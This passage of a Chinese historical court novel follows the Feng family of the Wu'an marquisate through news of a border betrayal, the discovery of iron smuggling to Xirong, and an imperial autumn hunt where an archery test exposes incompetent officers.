那名章郎君为了掩饰自己失言的尴尬,故意岔开话题,“泽文也太不够意思了,改日堵着人,必定要让他请咱们喝酒!”
其余人纷纷应道:“那是自然!”
“对,堵他!”
而在此期间唐沐一言未发,他其实已经察觉到陈泽文的渐渐疏远,别看这些人说的热闹,觉得相互之间多好似的,其实也就是说嘴罢了。
不知为何,竟在心底生出一种,他与那两人终究是不一样的感觉。此时回头再看,才发现封砚初考中状元进入官场,前途不可限量;陈泽文也靠着武艺进了京西武备营,反观自己文不成武不就,如今连个童生都没考上。
他回头看向其余之人,章郎君去年考中了秀才,朱郎君自己虽不行,但他弟弟已经中了举人。
更别说吉四郎,其父吉隆颇受陛下信任,大哥入了六扇门,二哥今年考中进士,他自己也精通些武艺,之后进入京西武备营还不是更容易?
看着众人说说笑笑的样子,他此刻才明白,为什么陈泽文渐渐远离;为什么他主动示好,封砚初视而不见?还不是因为他自己什么都不是,能靠的只有祖父!
思及此处,已无心继续待在这里,朝众人道:“你们且玩闹,我先回去了。”
其余人见唐沐竟提前走了,有些奇怪,只有吉四郎笑道:“许是觉得咱们吵吧,不管他,咱们继续,改日请他去近日新开的醉春楼!”
唐沐回去之后神情颇为沮丧,母亲孙氏瞧见问了几句。
他这才失魂落魄道:“母亲,难道我错了吗?”
孙氏长叹一声,“唉~,以前你父亲总说你,你也不听,如今你有了自己察觉,倒也不算晚。”
“不晚吗?我读书不成,父亲让习武,可我也吃不了这苦。如今好些人要么将来已经有了去处,要么自己有所擅长。”
“只要你能明白过来,什么时候都不算晚,更何况你还未及弱冠呢。再者说,你从今天起在家好好读书,必定可以考中。”孙氏并未提及他祖父其实早已放弃他们大房一脉,将更多的希望投入到二房。
当下不过是夫君还在为对方做些事,勉力支撑罢了,对方的冷漠她早有感触,武安侯府还未彻底落寞,对亲生女儿说放弃就放弃。对她来说,儿子能明白过来已经很好了,如今并不算晚。
“可祖父那边……”唐沐还在担心自己维持的人脉。
孙氏忍了又忍,才道:“你祖父那边自有你父亲,你只需做好自己想做的事情。”
“我还是同祖父说一声吧。”
孙氏无奈只能点头应了。
让唐沐没想到的是,他说完之后,祖父的态度很冷淡,只是说了声“知道了”就让他回去。也并未叮嘱类似于好好读书这种鼓励的话,虽奇怪,但他还是听话的行礼告辞。
第一百四十二章 此次朕要大办
之后的日子依旧,只是随着邢勉老将军回京,同时也传来一个消息,那就是大晟的军队在北边,与西戎发生了几次摩擦。幸亏孙知微及时赶到打了两仗,这才让对方有所收敛,随之而来的就是边贸收紧了。
邢勉回京当日,景和帝不仅命自己的御用太医前去诊治,更是亲临邢家。
“如何?”景和帝看胡太医神色未有松懈,紧张的问着。
胡太医仔细诊治之后,松了一口气,朝陛下拱手道:“邢将军不仅伤的很重,还有中毒的迹象,所幸及时诊治,否则撑不到京城,只是毕竟上了年纪,还需安心静养。”
“嗯,下去开药吧。”景和帝这才稍稍安心。
邢勉连眉头都没皱一下,半靠在床上,拱手道:“还请陛下恕老臣不能下床行礼。”
景和帝坐在对面的位子上,抬手道:“什么罪不罪的,你身体要紧。”说到此处话音一转,“只是你到底是怎么伤的?”
原本眉心舒展的邢勉拱起眉毛,“就是陛下不问,老臣也要上奏书的。”
“前些年还好,只是近两年老臣年事已高,精神实在有限。为了不疏于防范,便启用了副将谭魁。此人祖上乃是柔荑族,况且这些年下来他们在大晟混居,与大晟人并无区别,所以军中有这些人并不奇怪。”
“这都过去一百多年了,况且柔荑乃是被安怀国所灭!难不成柔荑族不安分?”
邢勉摇头道:“那倒不是,其实大多数柔荑人早已将大晟当做家了,只是这里头个别人是柔荑王族之后,由安怀部牵线,被西戎以利诱之,承诺来日分其草场奴仆。”
说到这里再次拱手道:“是老臣有罪,失与防范,让此类贼人钻了空子,险些酿成大错!还请陛下降罪!”
“那朕问你,你可及时发现,及时补救?”
邢勉点头道:“老臣当场便命人将其抓捕,拷问出幕后指使,并查问出参与之人,将他们一网打尽,幸好大错未成。”
景和帝这时才亲自扶起对方胳膊道:“既然你已补救,还因此受了伤,便将这当成是此次的惩罚吧!”
“谢陛下宽宥。”一时之间君臣和睦。
景和帝对柔荑人还是很警惕,问道:“这柔荑人可要加紧防范?不然干脆趋离大晟土地!”
邢勉听后并未立即否决,而是反问道:“陛下,您可知老臣为何能如此顺利的抓住这些人?”
但并未等景和帝回答,自己便说了,“正是这些柔荑人举报,并且配合我们监视,这才将其一网打尽,因为他们说过,他们生在大晟,长在大晟,大晟早已经是他们的家。而那些所谓柔荑王族后裔不过是被利益驱使,西戎并非真心想合作,不过是利用他们王族后裔的身份罢了。”
景和帝略作沉吟,“那便罢了。原本朕还担心军中没有好大夫呢。”
邢勉听后笑道:“这药啊,还是孙知微家那小子给的呢,原本大夫还不相信,是这小子坚持,这才救了老臣一命,事后老臣问他药哪来的,可这小子就是不开口!”
说到此处叹道:“若是知道是谁,就可以多制一些,那军中伤亡便可大大降低。”
景和帝眼睛微眯,他已经想到是谁了,随后笑道:“既然是那小子给的,朕就知道这药出自谁手,原本还以为他就会个皮毛,没太在意。”
邢勉很有分寸,并未开口追问是谁,反而说道:“既然陛下知道,那之后就好办了。”
他又将北边的一些事情说给景和帝,随后郑重道:“陛下,西戎狼子野心,早晚会有一战,如今也就孙知微能用,朝中良将短缺啊,还请陛下早做筹谋。”
这是忠臣良言,景和帝何尝不知,“朕知道了。你且好好养伤,到秋猎之际,朕还要邀你打猎呢,此次朕要大办!”
“是,老臣恭送陛下!”
送走景和帝之后,邢勉并未歇着,脑中思绪不停。其实朝中不乏武将,可这些人镇守一方或许还行,一旦御敌迎战,未必是对手,更别说有些甚至顶着祖先的名头混日子!
如此一来,岂不是说陛下要利用此次秋猎,摸清楚滥竽充数之人,秋猎倒是一次机会!思及此处,邢勉轻轻点头,也好,免得有些人尸位素餐,没有能力却占着位置,这些人确实需要好好肃清一番。
封砚初还不知道自己的马甲早就掉了,不过也无所谓就是了,他此时正在看从北边传回来的信。
封简宁脸上的肌肉因情绪激动而有些微颤,“真没想到边贸收紧之后,竟然让夏津有了意外的发现!单就一次的交易量就有这么多铁器!这些年下来更不知几何?”
封砚初看完之后,只觉得徐家,不,不止徐家,气道:“国贼!国贼!为了利益毫无底线!”真是牵出萝卜带出泥,原本只想查徐家,可夏津去北边调查之后才发现,还有好几家!
而为了走私顺利进行,这背后必定还牵扯着不少官员!大晟的吏治已经到了不得不治,岌岌可危之境地!
随后他放下手中的信,问父亲和大郎,“父亲,大哥,你们说这些事情陛下知道吗?”
封简宁最先开口,“为父估计,走私肯定是知道的,可这铁器嘛……想必陛下以为并不多。”
大哥皱眉道:“既然知道就应该重重惩治!否则烂及根部,岂不动摇大晟根基?”
封砚初看了夏津的来信,前后一联系,愈发怀疑,“如今朝中武将倒是不少,可真正能用的也不多,否则陛下也不会因邢老将军受伤,就将还在京西武备营任职的孙将军,紧急调往边关!所以我想陛下没准知道,只是目前还打不起,尤其是邢老将军受伤,就更得隐忍。”
封简宁听后有些可惜的叹道:“若咱家还从武就好了,没准是一个机会!”
第一百四十三章 快别去丢人了
秋风挤走了夏季的炎热,也为树叶换上了新装。
以前的秋猎,武安老侯爷还在世时还有资格参加,自从他去世之后就是丁忧,武安侯府无缘参加。之后的几年,陛下更是取消了秋猎,直至今年又重新开始举办。
“这次陛下是要大办,你们俩肯定是要去的,四郎太过怯懦,再加上还要读书就不用去了,至于明儿……”
封简宁的话还未说完,二叔封简言就代为回答,“他也不用去,留在家里读书。”
封砚明气愤道:“父亲!凭什么?儿子也想去,再说我还没去过呢!”
封简言冷哼一声道:“就你那射术,快别去丢人了,此次陛下大办,肯定要考教各家的年轻人。若是考什么美食品尝大赛,你或许可以得个魁首。”
面对父亲的讽刺,封砚明气愤不已,可又无法反驳,因为对方说的是对的,自己当年觉得射术太苦,又不是什么正课,就敷衍了事,今时正得果报。
封简宁见状又道:“潼儿的射术还不错,这次便带她同去。”
封砚初听了这话,赶紧建议着,“父亲,二妹妹一向喜欢骑射之术,这些年练习下来也不比那些儿郎们差,就让她同去,正好也与三妹妹做伴。”
封简宁并不是没想到二女儿,只是觉得她是庶出,去了之后难免要被那些嫡出的比较。如今见次子这么说,放下了心底的那点顾虑,点头应了,“既如此,那她也一起去!”
封砚婉原本还有些失望,如今见二哥求得父亲同意,自是兴奋不已,连忙起身行礼道:“女儿多谢父亲,多谢二哥!”
封简宁点头道:“既然同意你去,便不可堕了我武安侯府的名声!”
“女儿谨记。”
封简宁说到这里,又不免叮嘱几个孩子,“以前虽说咱家也参加过秋猎,可去了那里都以游玩交往为主。此次陛下大办,不仅有宗室勋贵,四品以上的大臣,还有很多武将之家也要去。想来肯定会有比试,咱家虽是文臣,可你们自幼就练习骑射,拿出你们的本事出来,听到了吗?”
四个孩子一起拱手道:“儿子/女儿/侄女,谨记父亲/伯父教诲。”
封简宁随后叮嘱两个女孩子,“谁也没想到陛下大办秋猎,眼下大娘子陪着你们祖母去了青州,我与你们兄长难免有顾及不到之处,就让你们大姐姐陪着同去,你们要听她的话!”
“是!”两个女孩子很兴奋。
尤其是封砚婉回去之后,就翻箱倒柜的找适合的衣裳。当方姨娘进去之后,还以为是遭了贼,蹙眉问道:“你这是做什么?”
封砚婉笑得眉眼弯弯的,“姨娘,你知道陛下要举办秋猎吗?”
方姨娘虽说在后院很少出门,但她怎么可能不知道,反问道:“这不是停了好几年了吗?怎么?今年又要重办?”
封砚婉笑嘻嘻道:“可不是,所以我正在找衣服呢!”
方姨娘听后‘噗嗤’笑了,“那这和你有什么关系,你又去不了,还这般兴奋?”
“谁说我去不了?我不仅能去,父亲还同意了呢!”封砚婉有些不乐意,觉得姨娘这是小瞧人。
“咱家大娘子又不在,你婶娘去又不合适,谁陪着你们?”
“父亲特意让大姐姐陪着我们,等去了之后,我定要一展身手,让那些人刮目相看!我武安侯府的娘子也是弓马娴熟的!”
方姨娘听后也很高兴,不过她是另外一个角度,觉得女儿也快到年纪了,去了正好可以留意那些优秀的郎君,“你要挑衣服?我帮你。”
说话间拿起一套缃色菊花纹的锦裙,兴致勃勃道:“这件好看,还是广袖的呢,穿着更显得你端雅大方。”
封砚婉摇头道:“不妥不妥,我是去参加秋猎的,穿什么广袖裙,到时候骑马打猎多不方便啊!”
方姨娘气的打了一下女儿的背,“你糊涂,难不成你真以为是去秋猎的,你想想到那日有多少好郎君,眼见你也快到成亲的年岁了,还不趁机看几个好的来,悄悄告诉你大姐姐,到时候大娘子回来之后,也好为你具体筹谋!”
“姨娘!胡说什么呢?女儿还小呢!再说大哥哥都还未成亲,就更不着急了,我去了之后可是要给咱们侯府脸上增光的!算了,不用你帮忙,我自己挑!”封砚婉说完话,便将方姨娘推了出去,气哼哼的带着丫鬟珊瑚继续挑选。
而方姨娘则并未离去,反而隔门说道:“你大哥哥与二哥哥是男子,这都好说,即使晚两年也没什么。你虽然没到年纪,但可以提前相看好定下来,也免得到时候手忙脚乱的!大娘子还不知道今年什么时候回来,即使回来肯定先为你的哥哥们娶妻,然后才能轮得到你!”
方姨娘正说的兴起,门突然被打开。只见封砚婉手里拿着一筐闲置许久的针线布缎,直接塞到她手里,“姨娘别说了,我不听!对了,这些针线你就带回去吧,从今儿起,我不学了!”随后门‘砰’的一声关上了。
气的方姨娘喊道:“你要气死我呀!你真是个犟脾气!”对于这个女儿,她是没办法,这孩子生下来就是气自己的,要是将她的性子分一半给四郎就好了。
屋内,封砚婉与珊瑚贴着门偷听,“珊瑚,姨娘走了吗?”
同样动作的珊瑚仔细听了一会儿,“门外没动静了,应该走了吧?”
封砚婉开了个门缝一瞧,果然走了,高兴道:“珊瑚,咱们继续!”之后,两人又兴致勃勃的挑选起来。
第一百四十四章 又不是我一个人
转眼就到了秋猎之日,猎场距离京城不足百里。一行人都是按照品阶前往,本来封简宁的品级连来的资格都没有,可身上又有武安侯的爵位,所以封砚初一行人虽不靠前,但也没有太靠后,恰好卡在中间。封砚敏并未随着信国公府前去,而是与封家一起。
前去的路上,浩浩荡荡,之前还不觉得,如今一瞧才发现,京城竟然有这么多,达到前往猎场标准的官员勋贵。
女眷们可以坐马车,这可苦了那些骑马之人,吃了一嘴的土。
马车里。
这是封家三个女孩子第一次远行,姐姐封砚敏倒还稳重些,二妹封砚婉原本还兴致勃勃的看着外头。
谁知封砚初直接来了一句,“都是土,快放下帘子!”
三妹封砚潼也劝道:“二姐姐,还是将帘子放下来吧,这土都吹进马车里了。”
封砚婉泄气的放下帘子,“唉,我还以为路上会很有意思呢,没想到除了这连绵的马车队之外,什么都没有!亏得咱们披星戴月的等着出发。”
封砚敏趁机说道:“你以为呢?我可告诉你们两个,此次陛下大办秋猎,去的人里头不知有多少王公贵胄,达官显宦,你们行事需得小心,别一不小心得罪人!听仔细了吗?”
两人连忙点头应着,“记住了!”
眼见黄昏之际,可算是到了猎场,不过好在因为以前常来,倒是修了一些住人的屋舍庭院。
陛下自然住进猎宫,其余人按等级去住。
封砚初也是第一次来,他四处瞧了瞧,这里是专门为住人而设置,所以景致寻常,面积也不大,三面都是房子。与以往不同,因为来的人比较多,所以有的院子甚至是两三家挤在一处。比如他家就与宜平侯罗家住在同一个院子。
“二郎,里头已经收拾好了,你骑了一日的马,快去洗漱一番!”姐姐封砚敏见二弟正在观察四周,开口劝道。
“知道了,姐姐。”封砚初一边应着,一边往里走,“我瞧周边住了不少勋贵,虽说有侍卫守着,可夜里还是要警醒些。”
“既如此,那我就与两个妹妹一起住吧。”封砚敏将二弟推入门内,又道:“换洗的衣裳已经备好了,你别太磨蹭,一会儿还要用饭呢!”
外头的天光渐暗,当进入屋内之时,烛火已经燃起。洗去一日的灰尘和疲惫,他换上了一件玉白色流云纹长袍,便出去用饭。
住在一起就这点不好,刚出门就碰见宜平侯罗甫轩在不远处,旁边站着的是与二叔臭味相投的罗杰,两人正在空旷之处说着话。
封砚初只能拱手行礼,“武安侯府封砚初见过罗侯,见过罗三爷。”
罗甫轩抚着胡须笑的一脸和蔼,“是封家二郎啊!不错,不错!”
罗杰直接问道:“怎么你二叔没来?”
“二叔在家教导堂兄读书,无暇分身。”别看封砚初说的十分好听,实际上二叔根本不想参加什么劳什子秋猎。
罗甫轩挥手道:“不打扰了,你且去吧。”
“告辞!”
一直等封砚初离开之后,罗甫轩这才继续对儿子警告道:“这次你要是再出岔子,你身上的闲职别想要了!”
罗杰面上有些不悦,“父亲,不至于吧!你如此狠心?”
罗甫轩冷哼一声道:“当初就是因为你读书不成,这才让你在军中担了一个闲职,可这次有消息传来,陛下有心试探那些在军中任职的官宦勋贵子弟,若不合格,即使当时不发做,事后必定要削职!”
“不至于吧,正所谓法不责众,又不是我一个人,难不成都要清除出去?”罗杰是不相信的。
罗甫轩气的骂道:“糊涂!你没看邢勉来了吗?必定是这人回来之后,不知给陛下翻了些什么舌头,竟撺掇着陛下大办秋猎,你要是不行,以后就当一辈子平头百姓吧!”说完甩袖离开。
“这可怎么办……”罗杰忧心不已。其实京中除了京西武备营之外,还有一个攻防营,这里头大多都是那些挂闲职的官宦勋贵子弟,与他一样。
封砚初进去后,发现除了自己之外都到了。
父亲封简宁问道:“就等你一个人了,怎么这会儿才来?”
他落座后,同时说道:“在外头正好碰见宜平侯,他正与罗三爷说话。”
“想来是因为陛下要趁机考察在军中武官的情况,罗杰此人典型的文武不成。”封简宁说到此处,拿起筷子道:“所幸与咱们无关,吃饭!”
晚上,封砚初是与大郎住在同一间屋子,这还是他第一次与对方一起住。
“二郎,你睡了吗?”
“哦,还没有,怎么了?”
“方才饭桌上听父亲所言,看来陛下已经开始为备战西戎筹划了,可陛下年岁不小,三位殿下又……”后头的话大郎终究未说出口,改口继续道:“二郎,你说西戎是不是也这么觉得,才屡次挑衅的?”
“我想肯定有这个原因。咱们大晟这些年武备松弛,重文抑武,良将稀缺,朝中争斗不休,几位殿下又看不出是文武并重之人,也许陛下也恰恰因此才一直在立储上犹豫不决。”封砚初不知道他竟无意中窥出真相。
陛下没有立储的真正原因,就是三个儿子都不够优秀!
“是这样吗?”
“我不确定,也许吧!”
大郎复盘道:“大殿下脾气喜怒不定,虽说麾下有武将势力,可能力有限;五殿下重视文臣,其外祖父更是门生无数;九殿下太小,一切都是皇后娘娘说了算,可黎家也是文臣,身边扶持的也几乎都是文官,如此说来,他们在武之一字上确实欠缺。”
就在此时,封砚初凝神细听,竟然有人靠近!
心中暗道:吃了熊心豹子胆,敢堂而皇之的靠近秋猎之地!
随即立即压低声音提醒,“大哥,好像有人!”
第一百四十五章 竟然连弓都拉不开
大郎封砚开起身悄声道:“我去瞧瞧!”
封砚初立即阻止,“此处有侍卫守着,寻常外贼应该进不来,所以很有可能就是内部之人。”说话间已经静悄悄拿了一根撑窗户的支杆,“你先别急,我去瞧瞧。”
说罢,将门偷偷开了一条缝隙,只见那人靠在宜平侯门前,一边偷听,一边记些什么。
夜晚光线虽暗,但还是依稀能看出衣服不仅是玄色,还有点像是制式,尤其那脚上踩的还是官靴!
他心里‘嗡’的一声,迅速将门关上,重新躺回床上。
“二郎,是谁?”大郎见他竟悄悄退回来,压低声音问道。
封砚初竖起食指放在嘴边,又指了指自己的耳朵,示意别出声。
两人就这么躺着,过了好半晌,外头又发出一些极其细微的声音,这时那人离开了。说实话,要不是方才对方意外发出稍大些的声响,封砚初根本察觉不到。
“人走了。”
“到底是谁?”
“我怀疑是陛下的探子,专门探听各府邸的消息。”室内漆黑一片,可封砚初似乎能看见大哥发亮的眼睛。
果然,大郎震惊道:“什么?难道陛下暗中有一股专门探听各府消息的势力?”
“完全有这个可能,为了及时掌握各重要官员的动向,他们的府邸肯定会被监视,没准这也是上面隐而不宣的事,只是咱们不知道罢了。”封砚初不觉得陛下会暗中派人探听武安侯府的秘密。
紧接着大郎就道:“也不用太担心,上面不会将心思放在武安侯府的,太不划算了。”
次日醒来,其他人果然并未察觉。
今天也是秋猎之时,只是在这之前,众人需得骑马前往目的地。
这是封砚初第一次见到这般宏大的场面。苍茫的原野之上,圈出一片空地作为起点,场上空荡荡的,只有禁军在四处巡逻。站在此处可以瞧见远处有一片树林;有橘色,黄色,绿色,将林子染的漂亮极了,站在此处,只觉个人渺小。
武安侯府的位置处在中间靠后,所以混在其中有些不好找。
当封砚初坐下之后,就有宫人端上茶水点心。浅尝一口,明显是制式的,既不难吃,但也说不上美味。
众人都已到,随着长鸣号的响起,景和帝乘坐御辇而来。众人立即起身迎候,等他坐到高台之上,又拱手行礼,紧接着便是景和帝讲话。
只是具体说了些什么,因武安侯的位置太远,封砚初只能在风的帮助之下,隐约有几句吹入耳中,无外乎是一些鼓励之言。
只是其中有一句话是重中之重,那就是让朝中这些领着武职之人一起比赛,择出最优,便有御赐!
众人无论真的也好,假的也罢,都在高兴的欢呼,就连罗杰这种没有实力之人看上去都高兴不已。
那边说的热闹。就在景和帝刚说完这话,六皇子便上前道:“陛下,他们狩猎有赏赐,那臣等这些做皇子的岂能落于人后,只是与他们比,难免会碍于身份相让,不如让我们兄弟几人相较?”
景和帝并未扫兴,“既如此,朕便将此分为四类,一类为朝中领着武职的官员比赛;二类是几位皇子比;三类,若朝中文官想参与,也可以进行比赛;至于四类,便由各府年轻的郎君们比试一番,所赢皆有赏赐。”
“臣等谢陛下!”
“只是这林中猎物毕竟有限,诸位可以先在定靶比赛射箭,通过者才可以去!”景和帝虽笑着,可心里已经打算好了,他就是要当场臊一臊那些连箭都射不准的武官,看他们还有何脸面继续占着位置。
就在此时,平安公主拱手道:“陛下,正所谓巾帼不让须眉,女儿虽为女子,但也想为在场的所有娘子请求您,让我们参加吧!”
景和帝哈哈笑道:“好一个巾帼不让须眉,朕允了!”
“谢陛下隆恩!”
武安侯府这边离得太远听不清,当传话太监第一次传话后,封砚婉肉眼可见的低落了。
她叹道:“我还以为可以下场打猎呢?没想到都是你们男子玩的,与我们没有关系。”
封砚敏轻轻推了一下妹妹,低声道:“慎言,不可面露恼色,既然去不成,那就在这里等他们回来。”
“姐姐,对不起,我错了。”封砚婉察觉自己失言,心中懊悔。
封砚敏低声叮嘱着,“知错就好,今日来人很多,咱们代表的是武安侯府,不可堕了侯府名声。”
没一会儿,又有太监传话,说各府娘子们也可以参加狩猎,不过先要通过射靶考核。
众人顺着太监手指的方向看去,果然已经有一些人拉弓射箭。
那太监又道:“按照顺序,所有人都得过一遍,现在是朝中的武官们在比试。”
高台之上,景和帝面上不显,其实已经气到不行。若说文臣不善射箭情有可原,可有些武官也差的要命,尤其那些走后门的高官勋贵子弟,几乎要筛去一大半!
“邢勉,你可瞧见场中情形?”
邢勉距离陛下非常近,听见发问,叹气摇头道:“陛下,他们任的可是武职,可是有些人竟然连弓都拉不开。”
其实现下在场中射箭的正是罗杰,可他的射术实在太差,不过射三箭,竟有两次脱靶,还有一箭距离靶心甚远。
陈泽文站在对方身后发出唏嘘之声,“罗百户,你这领着正六品的武职,怎么把箭射成如此模样?”
罗杰脸上发烫,扔下弓箭灰溜溜的走了。他本来打算在狩猎一事上造假,并且已经买通了人手,只是没想到陛下突然来了这么一出。这让他打起了退堂鼓,想要找借口拒绝,可这竟然是强制的!不得不来!
第一百四十六章 真是好教养!
陈泽文冷哼一声,拿起弓箭连射三下,‘邦邦邦’,全部正中靶心,随后看着离去的罗杰朝众人道:“没本事,还觍着脸占着百户的位置!”
这里头,那些真有本事的鼓掌称赞,那些没本事混日子的心中愁绪万千。
转眼轮到各府郎君参加定靶比赛,基本上都去了,只是水平参差不齐。
当封砚初到达靶场,陈泽文还没走,甚至说道:“封二郎,快射几下我瞧瞧。”
他挑眉看去,“你不会专门为看我笑话吧?”说话间拿起弓箭试了试。
陈泽文摆手道:“那不能够,我记得武安侯府平日里也教你们骑射之术的。”
“那就好,否则你只会失望。”他说话间搭箭拉弓,只听‘咻’的一声,箭矢飞出,正中靶心,接下来两次自然一样。整个过程无比轻松,因为他在射箭时还同人说话。
旁边立即有人赞道:“好!封二郎可真给咱们勋贵子弟争光啊!”
话音刚落,大郎封砚开也举弓射出,纷纷正中靶心。
又有人道:“没想到封大郎君的射术不弱于其弟啊!”
封砚开谦虚道:“我的射术不如二弟多矣,他远在我之上,更何况在家里我还排在末位。”
一时间,众人惊叹不已,“武安侯府好教养,两位不仅读书出众,就连射术也不输那些武官,佩服,佩服。”
紧接着便是信国公府的徐大郎君开始射箭,他的三箭都上了靶,可距离靶心甚远。
封砚初对信国公没有任何好印象,而此刻也是光明正大的向众人表明他态度的好时机,于是‘嘁’了一声,“就这?”
徐大郎君知道自己水平不行,听见此言心中不畅,“每人都有自己不善之事,我便不善射术,比不上你武安侯府,连一个娘子都凶悍无比!”
封砚初见对方竟然攻击到女眷,出言讽刺道:“你是不善骑射,可也不见你善于读书啊,真是文武不成!”
依旧在此的陈泽文亦开口道:“人家武安侯府不仅郎君要读书并学习骑射,就连娘子们也一样,不像你没一样拿出手的,还不让人说了?竟攀扯人家府里的娘子,真是好教养!”
徐大郎君脸色涨的通红,迅速离开,只是不知是气的还是羞的。
而在场之人没一个上来劝说的,盖因人家封二郎是状元,陈泽文武功也不弱,更是进了京西武备营,那里没几分本事可不好进。
封砚初这才发现陈泽文还在这里没离开,诧异道:“你怎么还在这?我记得你身上可是有武职的,不与那些人一起?”说话时示意着不远处的武官队伍。
陈泽文摇头道:“不着急过去,再说我若离开哪能看得见徐大郎君的笑话。”
封砚初笑了一声,才说:“你觉得我会相信吗?别是你嘴巴太毒惹恼那些人?”
陈泽文冷哼一声,道:“难道我不该嘲讽吗?还说什么武官呢?结果靶都脱了,有的甚至连弓都拉不开,真是丢人!与他们站在一处,如果让别人以为我也一样那岂不糟了?”
封砚初点头道:“你居然说的很有道理。”
远处,景和帝看此一幕,对平昭公主诧异道:“我记得你家那小子不是与封砚初不睦吗?如今这是和好啦?”
平昭公主笑道:“陛下,您还知道?我家那小子从小嘴上就不饶人,他其实挺佩服封二郎的,只是小时候将人得罪了,如今解开不快,自然好了。”
景和帝点头道:“我知道你家那小子,人品倒不差,只是这性子别扭了一些。”
“可不是,之前我还奇怪他怎么突然提出去从军,最后才晓得是这封二郎给出的主意。”
“竟是他,那怪不得。我就说么,那臭小子嘴上还能说出那些话来,感情是有人教。”景和帝哈哈笑着,心情似乎好了一些。
一旁的邢勉见状道:“公主,您说的可是武安侯府?”
平昭公主点头道:“是啊,就是武安侯府排行老二的。”
陈驸马也跟声道:“我倒是见过封二郎几次,那孩子自小便说话有理有据,记得当时明明是他揍了泽文一顿,可说出来的话竟让我觉得很有道理,做的对!如今更是中了状元郎。”
邢勉的眼神很毒辣,他方才一瞧封砚初的身法,便知道他学习射箭最起码有十年,“竟是如此,我见他这射术练了起码有十年。只可惜武安侯府已经从文,若是他自幼习武,熟读兵书,再历练一番,将来没准会成为一名良将。”
其余人都未在意,反而景和帝说道:“爱卿此言似乎十分欣赏这人?”
邢勉虽不明白陛下为何如此问,但还是解释道:“只能说这封二郎君是个好苗子,能坚持练习射术十年,说明他是个持之以恒的性子;而能得中状元,证明他头脑灵敏,这样的人学习兵书必不会差;只是可惜他从未接触过兵事。”
场下比得很快,转眼就到了各府娘子比试,如今虽说不禁止女子习武,可风气还是多以琴棋书画等为主,所以下场的并不多,而武安侯府的三位娘子都出动了。
别人见了,也只能叹一句,“武安侯府祖上不愧是武将,这侯府娘子都善骑射功夫。”
最先射箭的是平安公主,她不仅善骑射,更有些功夫在身上,所以箭射的特别好,丝毫不弱于男子,就连景和帝也得意不已,在高台之上哈哈笑着,且言语中尽是夸赞。
第一百四十七章 头名者,朕皆有赏赐
另一边,封家三姐妹也开始射箭,姐姐封砚敏虽然并未全部正中靶心,但成绩也不差。
三妹封砚潼的成绩稍弱一些,可比起其他人来说已经强出太多。
其中最优秀的要数二妹封砚婉,每一箭都射在靶心!可见她是真心喜欢,射完之后旁边之人也是一片惊呼声。
随着射箭比试结束,合格之人只剩下一小半,其余的则被淘汰。比起全军覆没的府邸,武安侯府的成绩十分亮眼。
永定伯府只有大郎君通过考核,不过他家是文官,所以这样的成绩不算太差,永定伯汪曾鸿甚至还在与旁人议论。
他以前因为朝政要和老侯爷封靖良商议,所以去过武安侯府,自然也见过封家的几个孩子,如今就连封家的女儿们都通过考核,难免赞了几句,“这武安侯府的孩子真是颇有先祖之风,全部通过初筛。”
一旁的永定伯夫人却注意到别的地方,“还真是,他家大郎不仅中了进士,弓也拉的这般好,长的温润如玉,将来又要继承爵位。咱家缃儿到年纪了,只可惜武安侯夫人陪着老太太去了青州,否则今日可以与她说一说。”说到此处推了永定伯一把,“你去找武安侯说说!”
汪曾鸿摆手推脱道:“今日秋猎呢,再说这么多人,回头再说!回头再说!”
永定伯夫人气的哼了一声,“都是借口!若被定下可怎么好?”
汪曾鸿似乎有些不耐烦,“哎呀,好郎君多的是,又不是只有封家大郎一个!快快起身,陛下要宣布狩猎开始了!”
果然,高台之上,景和帝起身站于前方,高声道:“诸位已经通过射箭比赛,都是射术出众之人,头名者,朕皆有赏赐!”
说话间已经有宫人将御赐之物拿上来了。分别是一杆八棱穿云长枪、一柄玉如意、一幅五牛图、一张紫杉长角弓、一顶珍珠冠。
众人看见这一幕时,心中顿时一惊,尤其是那些浑水摸鱼之人,例如罗杰之流。原来陛下早就打算进行定靶射箭初筛,否则怎会准备的如此完善妥帖,每一件赏赐都是精品。
因为那杆八棱穿云枪是先帝曾用之物,而五牛图前几日还挂在勤政殿里头,更别说紫杉长角弓了,据说是陛下曾经为先太子准备的!
随着长鸣号的响起,场上所有人骑马朝不远处的林子奔去!林中的动物们听见这震天的马蹄声,惊慌失措的狂奔逃命。
六皇子经常在城外打猎,他进了林子就勒停马,朝其余几位皇子以及皇室子弟说道:“诸位,我瞧着父皇这次的赏赐颇丰,所以今日便要全力而为了!”说罢拱手告别,带着侍卫骑马离开,但他这句话其实是对大皇子说的。
大皇子本身骑射功夫不弱,只是这些年下来疏于锻炼不如从前,让他没想到的是老六竟然敢与他相争!眼底划过一丝不快,脸上却丝毫未露出来,反而看似宽和的说道:“这六弟啊,就是这么小家子气,咱们年长,又怎会需要他相让,大家勉力而为即可。”
“瞧大哥这话说的,我承认比起射术更擅长读书习文,其他几位弟弟还小,自然也比不过喜欢狩猎的六弟,所以这话到底说给谁听,在场之人心知肚明,大皇兄何必牵扯我们。”五皇子心中嗤笑,他承认自己骑射之术不行,这也是众所周知的,老六那话明明是特意说给老大听得,可对方竟然大言不惭。
“你!哼!走着瞧!”大皇子气的指着五皇子,可终究没骂出口,因为不远处来了两人,未免碰见难看便骑马离去。
封砚初原本和大郎一起,中间碰见了几个对方相熟之人,两人便分开了。
陈泽文对奖励之物很热切,不过他与封砚初不属于竞争者,打算两人结伴一起狩猎,他有些焦急道:“二郎,虽说这片林子不小,里头肯定有不少猎物,可这次来的人也多,到咱们手里还不知能剩几个。”
封砚初也有心相争,他瞧了瞧旁边的人,道:“这么多人一起,恐怕会惊到猎物,分开行动吧!”说罢两人离开原本的队伍。
剩下几人也不觉懊恼,还庆幸道:“离开了正好,他们两人射术那么厉害,若真一起的话,肯定轮不到咱们。”
离开之后的封砚初没想到会碰见五皇子他们,只是对方已经看见了,两人只能上前见礼,“见过诸位殿下。”
五皇子给人一种温文尔雅的感觉,说话的口吻也十分和煦,“原来是状元郎和泽文?”这就是五皇子,对外之时,无论对方是谁的人,态度都会十分温和。
“臣等扰了几位殿下,还请恕罪。”陈泽文拱手致歉。
五皇子摆手道:“什么扰不扰的,大家都在这片林子打猎,碰上也属自然,想必你们也要夺魁,就不多留了。”既然看出俩人没有继续留下的意思,便干脆让人离开了。
两人拱手告别,立即骑马走了。
直到走出好远,陈泽文这才松了一口气,他方才也看见九皇子,武安侯虽是九皇子的人,可封二郎并没有追随其父的意思。
